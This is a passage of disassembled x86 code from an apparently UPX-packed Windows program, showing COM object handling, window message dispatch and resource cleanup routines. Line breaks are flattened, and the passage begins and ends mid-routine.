cmp [ebp+arg_4], 1 jnz short loc_4019C9 push dword ptr [edi] call dword_41D1F0 ; lstrlenW mov edx, dword_42DEBC dec edx cmp edx, esi mov [ebp+var_8], eax jl short loc_4019C9 mov eax, dword_42DEB8 mov ecx, edx imul ecx, 0Ch mov [ebp+arg_8], ecx lea ecx, [ecx+eax+4] mov [ebp+var_4], ecx loc_401998: ; CODE XREF: sub_401931+96j mov esi, [ebp+var_8] cmp esi, [ecx] jnz short loc_4019B7 mov ecx, [ebp+arg_8] mov edi, [edi] lea esi, [ecx+eax] mov ecx, [esi+4] mov esi, [esi] add ecx, ecx xor ebx, ebx repe cmpsb jz short loc_4019E2 mov edi, [ebp+arg_0] loc_4019B7: ; CODE XREF: sub_401931+6Cj mov ecx, [ebp+var_4] sub [ebp+arg_8], 0Ch dec edx sub ecx, 0Ch mov [ebp+var_4], ecx test edx, edx jge short loc_401998 loc_4019C9: ; CODE XREF: sub_401931+35j ; sub_401931+3Bj ... push [ebp+arg_C] mov eax, dword_42DEB0 push [ebp+arg_4] mov ecx, [eax] push edi push eax call dword ptr [ecx+28h] loc_4019DB: ; CODE XREF: sub_401931+BFj pop ebx loc_4019DC: ; CODE XREF: sub_401931+2Cj pop edi pop esi leave retn 10h ; --------------------------------------------------------------------------- loc_4019E2: ; CODE XREF: sub_401931+81j mov ecx, [ebp+arg_C] imul edx, 0Ch mov eax, [edx+eax+8] mov [ecx], eax xor eax, eax jmp short loc_4019DB sub_401931 endp ; =============== S U B R O U T I N E ======================================= sub_4019F2 proc near ; CODE XREF: sub_401BB2+1D0p push 18h mov eax, offset loc_41C209 call sub_40C4A0 mov ebx, [ebp+8] mov eax, [ebx] lea ecx, [ebp-24h] push ecx push ebx call dword ptr [eax+0Ch] xor ecx, ecx cmp eax, ecx jl loc_401B5B mov eax, [ebp-24h] movzx eax, word ptr [eax+2Ch] mov [ebp-1Ch], ecx mov dword_42DEBC, eax mov dword_42DEB8, ecx cmp eax, ecx jz short loc_401AAD mov edi, eax push 0Ch pop edx mul edx mov [ebp-4], ecx seto cl neg ecx or ecx, eax xor eax, eax add ecx, 4 setb al neg eax or eax, ecx push eax call sub_40AC06 pop ecx mov [ebp-20h], eax mov byte ptr [ebp-4], 1 test eax, eax jz short loc_401A77 push offset loc_401B65 push offset sub_401923 push edi lea esi, [eax+4] push 0Ch push esi mov [eax], edi call sub_40B306 jmp short loc_401A79 ; --------------------------------------------------------------------------- loc_401A77: ; CODE XREF: sub_4019F2+69j xor esi, esi loc_401A79: ; CODE XREF: sub_4019F2+83j or dword ptr [ebp-4], 0FFFFFFFFh mov [ebp-1Ch], esi jmp short loc_401A8F ; --------------------------------------------------------------------------- loc_401A82: ; DATA XREF: UPX0:00427324o or dword ptr [ebp-4], 0FFFFFFFFh mov eax, offset loc_401A8C retn ; --------------------------------------------------------------------------- loc_401A8C: ; DATA XREF: sub_4019F2+94o mov ebx, [ebp+8] loc_401A8F: ; CODE XREF: sub_4019F2+8Ej cmp dword ptr [ebp-1Ch], 0 jnz short loc_401AA8 push dword ptr [ebp-24h] mov eax, [ebx] push ebx call dword ptr [eax+4Ch] mov eax, 8007000Eh jmp loc_401B5D ; --------------------------------------------------------------------------- loc_401AA8: ; CODE XREF: sub_4019F2+A1j mov eax, dword_42DEBC loc_401AAD: ; CODE XREF: sub_4019F2+3Aj and dword ptr [ebp-18h], 0 test eax, eax jle loc_401B4A mov esi, [ebp-1Ch] mov ebx, dword_41D25C loc_401AC2: ; CODE XREF: sub_4019F2+14Fj mov edi, [ebp+8] mov eax, [edi] lea ecx, [ebp-20h] push ecx push dword ptr [ebp-18h] push edi call dword ptr [eax+14h] test eax, eax jl short loc_401B32 xor eax, eax mov [ebp-14h], eax push eax push eax push eax mov dword ptr [ebp-4], 3 mov ecx, [edi] lea eax, [ebp-14h] push eax mov eax, [ebp-20h] push dword ptr [eax] push edi call dword ptr [ecx+30h] test eax, eax jl short loc_401B20 mov edi, [ebp-14h] mov eax, [esi] and dword ptr [ebp-14h], 0 cmp eax, edi jz short loc_401B0A push eax call ebx ; dword_41D25C mov [esi], edi loc_401B0A: ; CODE XREF: sub_4019F2+111j push dword ptr [esi] call dword_41D238 mov edi, [ebp+8] mov [esi+4], eax mov eax, [ebp-20h] mov eax, [eax] mov [esi+8], eax loc_401B20: ; CODE XREF: sub_4019F2+104j push dword ptr [ebp-20h] mov eax, [edi] push edi call dword ptr [eax+50h] or dword ptr [ebp-4], 0FFFFFFFFh push dword ptr [ebp-14h] call ebx ; dword_41D25C loc_401B32: ; CODE XREF: sub_4019F2+E2j inc dword ptr [ebp-18h] mov eax, [ebp-18h] add esi, 0Ch cmp eax, dword_42DEBC jl loc_401AC2 mov ebx, [ebp+8] loc_401B4A: ; CODE XREF: sub_4019F2+C1j mov eax, [ebp-1Ch] push dword ptr [ebp-24h] mov dword_42DEB8, eax mov eax, [ebx] push ebx call dword ptr [eax+4Ch] loc_401B5B: ; CODE XREF: sub_4019F2+1Dj xor eax, eax loc_401B5D: ; CODE XREF: sub_4019F2+B1j call sub_40C50C retn 4 ; --------------------------------------------------------------------------- loc_401B65: ; DATA XREF: sub_4019F2+6Bo ; sub_401B6E+22o push dword ptr [ecx] call dword_41D25C retn sub_4019F2 endp ; =============== S U B R O U T I N E ======================================= sub_401B6E proc near ; DATA XREF: sub_401652+49o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_401BAE mov eax, [esi+0Ch] test eax, eax jz short loc_401B84 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401B84: ; CODE XREF: sub_401B6E+Ej mov eax, [esi+14h] and dword ptr [esi+0Ch], 0 test eax, eax jz short loc_401BAA push edi push offset loc_401B65 lea edi, [eax-4] push dword ptr [edi] push 0Ch push eax call sub_40B0BB push edi call sub_40B36B pop ecx pop edi loc_401BAA: ; CODE XREF: sub_401B6E+1Fj and dword ptr [esi+14h], 0 loc_401BAE: ; CODE XREF: sub_401B6E+7j pop esi retn 4 sub_401B6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=20Ch sub_401BB2 proc near ; CODE XREF: sub_401931+21p ; sub_404E23+1Ep ... var_230 = dword ptr -230h var_22C = byte ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_4 = dword ptr -4 push ebp sub esp, 208h lea ebp, [esp-4] mov eax, dword_42A034 xor eax, ebp mov [ebp+20Ch+var_4], eax push 18h mov eax, offset loc_41C315 call sub_40C46D xor ebx, ebx cmp dword_42DEB0, ebx jz short loc_401BEF cmp dword_42DEB8, ebx jz short loc_401BEF xor eax, eax jmp loc_401D93 ; --------------------------------------------------------------------------- loc_401BEF: ; CODE XREF: sub_401BB2+2Cj ; sub_401BB2+34j mov eax, dword_42EE90 add eax, 10h mov [ebp+20Ch+var_230], eax push eax mov [ebp+20Ch+var_210], ebx call dword_41D1CC ; RtlEnterCriticalSection mov [ebp+20Ch+var_22C], 1 mov [ebp+20Ch+var_21C], 80004005h cmp dword_42DEB0, ebx jnz loc_401D69 mov esi, off_42DEA8 mov eax, esi mov ecx, offset dword_42EE94 mov [ebp+20Ch+var_228], ebx call sub_40101B mov cx, word_42DEAC test eax, eax mov ax, word_42DEAE jz short loc_401C8E mov edx, 0FFFFh mov edi, edx cmp cx, di jnz short loc_401C8E cmp ax, dx jnz short loc_401C8E mov esi, 104h push esi lea eax, [ebp+20Ch+var_20C] push eax push dword_42E350 call dword_41D1FC ; GetModuleFileNameW cmp eax, ebx jz loc_401D6D cmp eax, esi jz loc_401D6D call off_42A000 lea eax, [ebp+20Ch+var_228] push eax lea eax, [ebp+20Ch+var_20C] push eax call dword_41D240 jmp short loc_401CA7 ; --------------------------------------------------------------------------- loc_401C8E: ; CODE XREF: sub_401BB2+8Dj ; sub_401BB2+99j ... lea edx, [ebp+20Ch+var_228] push edx push dword ptr [ebp+214h] movzx eax, ax push eax movzx eax, cx push eax push esi call dword_41D230 loc_401CA7: ; CODE XREF: sub_401BB2+DAj mov esi, eax cmp esi, ebx jl loc_401D70 mov [ebp+20Ch+var_220], ebx lea edx, [ebp+20Ch+var_220] mov byte ptr [ebp+20Ch+var_210], 1 mov eax, [ebp+20Ch+var_228] mov ecx, [eax] push edx push off_42DEA4 push eax call dword ptr [ecx+18h] mov esi, eax cmp esi, ebx jl short loc_401D4E mov eax, [ebp+20Ch+var_220] mov [ebp+20Ch+var_224], eax cmp eax, ebx jz short loc_401CE4 mov ecx, [eax] push eax call dword ptr [ecx+4] mov eax, [ebp+20Ch+var_220] loc_401CE4: ; CODE XREF: sub_401BB2+127j mov [ebp+20Ch+var_21C], ebx lea edx, [ebp+20Ch+var_21C] push edx push offset dword_4243A4 mov byte ptr [ebp+20Ch+var_210], 3 mov ecx, [eax] push eax call dword ptr [ecx] test eax, eax jl short loc_401D0B lea eax, [ebp+20Ch+var_21C] push eax lea ebx, [ebp+20Ch+var_224] call sub_4066EE xor ebx, ebx loc_401D0B: ; CODE XREF: sub_401BB2+149j mov eax, [ebp+20Ch+var_224] mov dword_42DEB0, eax mov eax, dword_42EE90 mov [ebp+20Ch+var_224], ebx cmp eax, ebx jz short loc_401D24 add eax, 4 jmp short loc_401D26 ; --------------------------------------------------------------------------- loc_401D24: ; CODE XREF: sub_401BB2+16Bj xor eax, eax loc_401D26: ; CODE XREF: sub_401BB2+170j push eax call sub_401652 mov byte ptr [ebp+20Ch+var_210], 2 mov eax, [ebp+20Ch+var_21C] cmp eax, ebx jz short loc_401D3D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401D3D: ; CODE XREF: sub_401BB2+183j mov byte ptr [ebp+20Ch+var_210], 1 mov eax, [ebp+20Ch+var_224] cmp eax, ebx jz short loc_401D4E mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401D4E: ; CODE XREF: sub_401BB2+11Dj ; sub_401BB2+194j mov eax, [ebp+20Ch+var_228] mov ecx, [eax] push eax call dword ptr [ecx+8] mov byte ptr [ebp+20Ch+var_210], bl mov eax, [ebp+20Ch+var_220] cmp eax, ebx jz short loc_401D70 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp short loc_401D70 ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401BB2+63j xor esi, esi jmp short loc_401D70 ; --------------------------------------------------------------------------- loc_401D6D: ; CODE XREF: sub_401BB2+B8j ; sub_401BB2+C0j mov esi, [ebp+20Ch+var_21C] loc_401D70: ; CODE XREF: sub_401BB2+F9j ; sub_401BB2+1ADj ... mov eax, dword_42DEB0 cmp eax, ebx jz short loc_401D89 cmp dword_42DEB8, ebx jnz short loc_401D89 push eax call sub_4019F2 mov esi, eax loc_401D89: ; CODE XREF: sub_401BB2+1C5j ; sub_401BB2+1CDj lea ecx, [ebp+20Ch+var_230] call sub_4066D7 mov eax, esi loc_401D93: ; CODE XREF: sub_401BB2+38j mov ecx, [ebp+20Ch+var_218] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov ecx, [ebp+20Ch+var_4] xor ecx, ebp call sub_40AC1C add ebp, 20Ch leave retn 4 sub_401BB2 endp ; =============== S U B R O U T I N E ======================================= sub_401DB8 proc near ; DATA XREF: UPX0:off_423F04o ; UPX0:off_423F5Co xor eax, eax retn 18h sub_401DB8 endp ; =============== S U B R O U T I N E ======================================= sub_401DBD proc near ; DATA XREF: UPX0:00423F28o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] xor ecx, ecx push esi push edi cmp ebx, ecx jnz short loc_401DD1 mov eax, 80004003h jmp short loc_401DF3 ; --------------------------------------------------------------------------- loc_401DD1: ; CODE XREF: sub_401DBD+Bj mov edi, [esp+0Ch+arg_0] cmp [edi-20h], ecx jnz short loc_401DEC push ecx mov eax, esp mov [eax], ecx push ecx mov eax, esp lea esi, [edi-24h] mov [eax], ecx call sub_404D0B loc_401DEC: ; CODE XREF: sub_401DBD+1Bj mov eax, [edi-20h] mov [ebx], eax xor eax, eax loc_401DF3: ; CODE XREF: sub_401DBD+12j pop edi pop esi pop ebx retn 8 sub_401DBD endp ; =============== S U B R O U T I N E ======================================= sub_401DF9 proc near ; DATA XREF: UPX0:00423F34o ; UPX0:00423F88o mov eax, 800401A1h retn 8 sub_401DF9 endp ; =============== S U B R O U T I N E ======================================= sub_401E01 proc near ; DATA XREF: UPX0:00423F40o xor eax, eax retn 0Ch sub_401E01 endp ; =============== S U B R O U T I N E ======================================= sub_401E06 proc near ; DATA XREF: UPX0:00423F44o xor eax, eax retn 10h sub_401E06 endp ; =============== S U B R O U T I N E ======================================= sub_401E0B proc near ; DATA XREF: UPX0:00423F54o ; UPX0:00424104o xor eax, eax inc eax retn 0Ch sub_401E0B endp ; =============== S U B R O U T I N E ======================================= sub_401E11 proc near ; DATA XREF: UPX0:00423F7Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_0] xor ecx, ecx cmp [edi-20h], ecx jnz short loc_401E30 push ecx mov eax, esp mov [eax], ecx push ecx mov eax, esp lea esi, [edi-24h] mov [eax], ecx call sub_404D5C loc_401E30: ; CODE XREF: sub_401E11+Bj mov eax, [edi-20h] mov ecx, [esp+8+arg_4] pop edi mov [ecx], eax xor eax, eax pop esi retn 8 sub_401E11 endp ; =============== S U B R O U T I N E ======================================= sub_401E40 proc near ; DATA XREF: UPX0:00423F2Co ; UPX0:00423F30o ... xor eax, eax retn 8 sub_401E40 endp ; =============== S U B R O U T I N E ======================================= sub_401E45 proc near ; DATA XREF: UPX0:00423F3Co ; UPX0:00423F90o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] add esi, 24h cmp [esi], edi jz short loc_401E5B call sub_4011B4 loc_401E5B: ; CODE XREF: sub_401E45+Fj pop edi xor eax, eax pop esi retn 0Ch sub_401E45 endp ; =============== S U B R O U T I N E ======================================= sub_401E62 proc near ; CODE XREF: sub_404EC4+42p ; sub_404F2C+42p push 0 mov eax, offset loc_41C568 call sub_40C46D mov esi, [ebp+8] and dword ptr [ebp-4], 0 mov eax, [esi+48h] test eax, eax jz short loc_401E82 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401E82: ; CODE XREF: sub_401E62+18j mov eax, [esi+14h] test eax, eax jz short loc_401E8F push eax call sub_40A859 loc_401E8F: ; CODE XREF: sub_401E62+25j lea eax, [esi+28h] call sub_404C88 call sub_40C50C retn 4 sub_401E62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401E9F proc near ; CODE XREF: sub_4057F4+1Cp mov eax, dword_41D278 push edi xor edi, edi mov [esi+50h], edi mov [esi+4], edi mov [esi+14h], edi mov [esi+20h], eax mov [esi+18h], edi mov [esi+1Ch], edi mov [esi+3Ch], edi mov [esi+54h], edi mov [esi+60h], edi mov [esi+64h], edi mov [esi+68h], edi mov [esi+6Ch], edi mov [esi+70h], edi mov [esi+74h], edi mov [esi+78h], edi mov [esi+7Ch], edi mov [esi+0D8h], edi mov [esi+0DCh], edi mov [esi+0E8h], edi mov eax, [esi+0C8h] and dword ptr [esi+98h], 0FFFFFFC0h and eax, 0FFFFFFFBh or eax, 3 push 8 mov [esi+0C8h], eax mov [esi+0CCh], edi call dword_41D2A8 ; GetSysColor and dword ptr [esi+98h], 0FFFFFFBFh mov [esi+0D0h], eax mov eax, [esi+0C8h] and eax, 0FFFFFFAFh or eax, 28h mov [esi+0E4h], edi mov [esi+0C8h], eax mov [esi+58h], edi mov [esi+0C4h], edi mov dword ptr [esi+0D4h], 400h mov dword ptr [esi+94h], 0CDCDCDCDh mov dword ptr [esi+0E0h], 4 mov byte ptr [esi+5Ch], 1 mov eax, esi pop edi retn sub_401E9F endp ; =============== S U B R O U T I N E ======================================= sub_401F64 proc near ; CODE XREF: sub_40587D+3Bp ; UPX0:loc_405990j ... push esi mov esi, eax push dword ptr [esi+0E8h] call dword_41D25C mov eax, [esi+0DCh] test eax, eax jz short loc_401F83 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401F83: ; CODE XREF: sub_401F64+17j mov eax, [esi+0D8h] test eax, eax jz short loc_401F93 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401F93: ; CODE XREF: sub_401F64+27j mov eax, [esi+7Ch] test eax, eax jz short loc_401FA0 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401FA0: ; CODE XREF: sub_401F64+34j mov eax, [esi+78h] test eax, eax jz short loc_401FAD mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401FAD: ; CODE XREF: sub_401F64+41j mov eax, [esi+74h] test eax, eax jz short loc_401FBA mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401FBA: ; CODE XREF: sub_401F64+4Ej mov eax, [esi+70h] test eax, eax jz short loc_401FC7 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401FC7: ; CODE XREF: sub_401F64+5Bj mov eax, [esi+6Ch] test eax, eax jz short loc_401FD4 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401FD4: ; CODE XREF: sub_401F64+68j mov eax, [esi+68h] test eax, eax jz short loc_401FE1 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401FE1: ; CODE XREF: sub_401F64+75j mov eax, [esi+64h] test eax, eax jz short loc_401FEE mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401FEE: ; CODE XREF: sub_401F64+82j mov eax, [esi+60h] test eax, eax jz short loc_401FFB mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401FFB: ; CODE XREF: sub_401F64+8Fj mov eax, [esi+54h] test eax, eax jz short loc_402008 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_402008: ; CODE XREF: sub_401F64+9Cj mov eax, [esi+3Ch] test eax, eax jz short loc_402015 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_402015: ; CODE XREF: sub_401F64+A9j mov esi, [esi+14h] test esi, esi jz short loc_402022 push esi call sub_40A859 loc_402022: ; CODE XREF: sub_401F64+B6j pop esi retn sub_401F64 endp ; =============== S U B R O U T I N E ======================================= sub_402024 proc near ; DATA XREF: UPX0:00424004o mov eax, [ecx] call dword ptr [eax+10h] mov ecx, [eax] push eax call dword ptr [ecx+8] retn 4 sub_402024 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402032 proc near ; DATA XREF: UPX0:off_423FF8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 0Ch push ebx push esi push edi mov edi, ecx xor ecx, ecx cmp [ebp+arg_14], ecx jnz loc_40245C mov eax, [ebp+arg_4] cmp eax, 14h jnz short loc_402073 xor esi, esi inc esi mov eax, esi cmp [edi+70h], ecx jnz short loc_40205F xor eax, eax loc_40205F: ; CODE XREF: sub_402032+29j mov ebx, [ebp+arg_10] mov [ebx], esi cmp eax, ecx jz loc_4020F1 loc_40206C: ; CODE XREF: sub_402032+161j ; sub_402032+1B1j ... mov eax, esi jmp loc_40245E ; --------------------------------------------------------------------------- loc_402073: ; CODE XREF: sub_402032+1Fj cmp eax, 0Fh jnz short loc_4020A4 lea eax, [esp+18h+var_C] push eax mov esi, edi mov [esp+1Ch+var_C], 1 call sub_402874 loc_40208C: ; CODE XREF: sub_402032+8Ej cmp [esp+18h+var_C], 0 mov ecx, [ebp+arg_10] mov [ecx], eax jz loc_40223D loc_40209C: ; CODE XREF: sub_402032+B7j ; sub_402032+3D8j xor eax, eax inc eax jmp loc_40245E ; --------------------------------------------------------------------------- loc_4020A4: ; CODE XREF: sub_402032+44j cmp eax, 5 jnz short loc_4020C2 mov ecx, [ebp+arg_C] lea eax, [esp+18h+var_C] push eax mov ebx, edi mov [esp+1Ch+var_C], 1 call sub_402768 jmp short loc_40208C ; --------------------------------------------------------------------------- loc_4020C2: ; CODE XREF: sub_402032+75j cmp eax, 21h jnz loc_4021E8 lea eax, [esp+18h+var_C] push eax mov ecx, edi mov [esp+1Ch+var_C], 1 call sub_402623 loc_4020DF: ; CODE XREF: sub_402032+1DDj ; sub_402032+1E8j cmp [esp+18h+var_C], 0 mov ecx, [ebp+arg_10] mov [ecx], eax jnz short loc_40209C xor esi, esi loc_4020ED: ; CODE XREF: sub_402032+1F2j mov ebx, [ebp+arg_10] loc_4020F0: ; CODE XREF: sub_402032+206j ; sub_402032+20Fj inc esi loc_4020F1: ; CODE XREF: sub_402032+34j mov eax, [edi+98h] mov ecx, [ebp+arg_4] test al, 8 jz loc_40219C lea edx, [ecx-200h] cmp edx, 0Dh ja loc_40219C and al, 10h movzx eax, al neg eax sbb eax, eax and eax, 3 mov [esp+18h+var_4], eax jnz short loc_402163 mov eax, [edi+70h] test eax, eax jz short loc_40219C movsx ecx, word ptr [ebp+arg_C] mov [esp+18h+var_C], ecx mov ecx, [ebp+arg_C] shr ecx, 10h movsx ecx, cx lea edx, [esp+18h+var_4] push edx push 0 mov [esp+20h+var_8], ecx push [esp+20h+var_8] mov ecx, [eax] push [esp+24h+var_C] lea edx, [edi+0B4h] push edx push esi push eax call dword ptr [ecx+30h] mov eax, [esp+18h+var_4] mov ecx, [ebp+arg_4] loc_402163: ; CODE XREF: sub_402032+EFj cmp eax, 3 jnz short loc_40219C mov eax, 200h cmp ecx, eax jnz loc_402246 loc_402175: ; CODE XREF: sub_402032+21Bj ; sub_402032+226j ... lea ecx, [esp+18h+var_C] push ecx push [ebp+arg_C] push [ebp+arg_8] push eax loc_402181: ; CODE XREF: sub_402032+28Cj mov ecx, edi mov [esp+28h+var_C], esi call sub_402837 cmp [esp+18h+var_C], 0 mov [ebx], eax jnz loc_40206C mov ecx, [ebp+arg_4] loc_40219C: ; CODE XREF: sub_402032+CAj ; sub_402032+D9j ... mov eax, [edi+98h] mov edx, eax shr edx, 2 and edx, eax test dl, 8 jz loc_4023B3 mov eax, 100h cmp ecx, eax jnz loc_4022C3 loc_4021BF: ; CODE XREF: sub_402032+298j ; sub_402032+2A1j ... lea ecx, [esp+18h+var_C] push ecx push [ebp+arg_C] push [ebp+arg_8] push eax loc_4021CB: ; CODE XREF: sub_402032+2E6j ; sub_402032+2FCj ... mov ecx, edi mov [esp+28h+var_C], esi call sub_4027F5 cmp [esp+18h+var_C], 0 mov [ebx], eax jz loc_4023E3 jmp loc_40206C ; --------------------------------------------------------------------------- loc_4021E8: ; CODE XREF: sub_402032+93j cmp eax, 7 jnz short loc_40221F lea eax, [edi+98h] or dword ptr [eax], 20h test byte ptr [eax], 40h mov [esp+18h+var_C], 1 jnz short loc_402214 lea eax, [esp+18h+var_C] push eax mov esi, edi call sub_4026BE jmp loc_4020DF ; --------------------------------------------------------------------------- loc_402214: ; CODE XREF: sub_402032+1CFj mov [esp+18h+var_C], ecx xor eax, eax jmp loc_4020DF ; --------------------------------------------------------------------------- loc_40221F: ; CODE XREF: sub_402032+1B9j xor esi, esi cmp eax, 8 jnz loc_4020ED mov eax, [ebp+arg_10] and dword ptr [edi+98h], 0FFFFFFDFh mov [eax], ecx mov ebx, eax jmp loc_4020F0 ; --------------------------------------------------------------------------- loc_40223D: ; CODE XREF: sub_402032+64j mov ebx, ecx xor esi, esi jmp loc_4020F0 ; --------------------------------------------------------------------------- loc_402246: ; CODE XREF: sub_402032+13Dj mov eax, 202h cmp ecx, eax jz loc_402175 add eax, 3 cmp ecx, eax jz loc_402175 mov eax, 208h cmp ecx, eax jz loc_402175 add eax, 0FFFFFFF9h cmp ecx, eax jz loc_402175 mov eax, 204h cmp ecx, eax jz loc_402175 add eax, 3 cmp ecx, eax jz loc_402175 mov eax, 203h cmp ecx, eax jz loc_402175 add eax, 3 cmp ecx, eax jz loc_402175 cmp ecx, 209h jnz loc_40219C lea eax, [esp+18h+var_C] push eax push [ebp+arg_C] push [ebp+arg_8] push ecx jmp loc_402181 ; --------------------------------------------------------------------------- loc_4022C3: ; CODE XREF: sub_402032+187j mov eax, 101h cmp ecx, eax jz loc_4021BF inc eax cmp ecx, eax jz loc_4021BF mov eax, 103h cmp ecx, eax jz loc_4021BF inc eax cmp ecx, eax jz loc_4021BF mov eax, 105h cmp ecx, eax jz loc_4021BF add eax, 2 cmp ecx, eax jz loc_4021BF cmp ecx, 53h jnz short loc_40231D lea eax, [esp+18h+var_C] push eax push [ebp+arg_C] push [ebp+arg_8] push ecx jmp loc_4021CB ; --------------------------------------------------------------------------- loc_40231D: ; CODE XREF: sub_402032+2D8j cmp ecx, 1Fh jnz short loc_402333 lea eax, [esp+18h+var_C] push eax push [ebp+arg_C] push [ebp+arg_8] push ecx jmp loc_4021CB ; --------------------------------------------------------------------------- loc_402333: ; CODE XREF: sub_402032+2EEj mov eax, 286h cmp ecx, eax jnz short loc_402361 lea ecx, [esp+18h+var_C] push ecx push [ebp+arg_C] mov ecx, edi push [ebp+arg_8] mov [esp+24h+var_C], esi push eax call sub_4027F5 cmp [esp+18h+var_C], 0 mov [ebx], eax jz short loc_40238A jmp loc_40206C ; --------------------------------------------------------------------------- loc_402361: ; CODE XREF: sub_402032+308j cmp ecx, 209h jnz short loc_40237A lea eax, [esp+18h+var_C] push eax push [ebp+arg_C] push [ebp+arg_8] push ecx jmp loc_4021CB ; --------------------------------------------------------------------------- loc_40237A: ; CODE XREF: sub_402032+335j cmp ecx, 281h jb short loc_4023B3 cmp ecx, 291h ja short loc_4023B3 loc_40238A: ; CODE XREF: sub_402032+328j lea eax, [esp+18h+var_C] push eax push [ebp+arg_C] mov ecx, edi push [ebp+arg_8] mov [esp+24h+var_C], esi push [ebp+arg_4] call sub_4027F5 cmp [esp+18h+var_C], 0 mov [ebx], eax jnz loc_40206C mov ecx, [ebp+arg_4] loc_4023B3: ; CODE XREF: sub_402032+17Aj ; sub_402032+34Ej ... cmp ecx, 2 jnz short loc_4023E3 mov eax, [edi] mov ecx, edi call dword ptr [eax+10h] mov ecx, [eax] push eax call dword ptr [ecx+4] push [ebp+arg_C] push [ebp+arg_8] push 2 push dword ptr [edi+4] push dword ptr [edi+20h] call dword_41D27C ; CallWindowProcW mov ecx, edi call sub_4024D9 and dword ptr [ebx], 0 loc_4023E3: ; CODE XREF: sub_402032+1ABj ; sub_402032+384j test byte ptr [edi+0C8h], 8 jz short loc_402413 lea eax, [esp+18h+var_C] push eax push [ebp+arg_8] mov eax, [ebp+arg_4] mov [esp+20h+var_C], esi mov esi, [ebp+arg_C] call sub_404508 cmp [esp+18h+var_C], 0 mov [ebx], eax jnz loc_40209C xor esi, esi inc esi loc_402413: ; CODE XREF: sub_402032+3B8j mov eax, [ebp+arg_4] cmp eax, dword_42EEA8 jnz short loc_402434 mov eax, [edi] mov ecx, edi call dword ptr [eax+10h] mov edi, eax loc_402427: ; CODE XREF: sub_402032+411j mov eax, [edi] push edi call dword ptr [eax+4] loc_40242D: ; CODE XREF: sub_402032+40Fj mov [ebx], edi jmp loc_40206C ; --------------------------------------------------------------------------- loc_402434: ; CODE XREF: sub_402032+3EAj cmp eax, dword_42EEAC jnz short loc_402445 mov edi, [edi+60h] test edi, edi jz short loc_40242D jmp short loc_402427 ; --------------------------------------------------------------------------- loc_402445: ; CODE XREF: sub_402032+408j cmp eax, 37Fh jnz short loc_40245C push [ebp+arg_C] push edi call sub_402467 mov [ebx], eax jmp loc_40206C ; --------------------------------------------------------------------------- loc_40245C: ; CODE XREF: sub_402032+13j ; sub_402032+418j xor eax, eax loc_40245E: ; CODE XREF: sub_402032+3Cj ; sub_402032+6Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn 18h sub_402032 endp ; =============== S U B R O U T I N E ======================================= sub_402467 proc near ; CODE XREF: sub_402032+41Ep push 0 mov eax, offset loc_41BF38 call sub_40C46D mov eax, [ebp+8] mov eax, [eax+60h] xor ecx, ecx mov [ebp+8], ecx test eax, eax jz short loc_402493 mov ecx, [eax] lea edx, [ebp+8] push edx push offset dword_41D430 push eax call dword ptr [ecx] mov ecx, [ebp+8] loc_402493: ; CODE XREF: sub_402467+19j and dword ptr [ebp-4], 0 test ecx, ecx jz short loc_4024C1 push dword ptr [ebp+0Ch] mov eax, [ecx] push ecx call dword ptr [eax+14h] test eax, eax jnz short loc_4024BE or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp+8] test eax, eax jz short loc_4024B9 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4024B9: ; CODE XREF: sub_402467+4Aj xor eax, eax inc eax jmp short loc_4024D1 ; --------------------------------------------------------------------------- loc_4024BE: ; CODE XREF: sub_402467+3Fj mov ecx, [ebp+8] loc_4024C1: ; CODE XREF: sub_402467+32j or dword ptr [ebp-4], 0FFFFFFFFh test ecx, ecx jz short loc_4024CF mov eax, [ecx] push ecx call dword ptr [eax+8] loc_4024CF: ; CODE XREF: sub_402467+60j xor eax, eax loc_4024D1: ; CODE XREF: sub_402467+55j call sub_40C50C retn 8 sub_402467 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4024D9 proc near ; CODE XREF: sub_402032+3A9p ; UPX0:00402A5Ap ... push 4 mov eax, offset loc_41BF5B call sub_40C46D mov esi, ecx mov eax, [esi+98h] test al, 40h jnz loc_40261D or eax, 40h mov [esi+98h], eax mov eax, [esi+70h] xor edi, edi cmp eax, edi jz short loc_402511 mov ecx, [eax] push edi push edi push 1 push eax call dword ptr [ecx+1Ch] loc_402511: ; CODE XREF: sub_4024D9+2Cj mov ecx, [esi+94h] cmp ecx, 0CDCDCDCDh jz 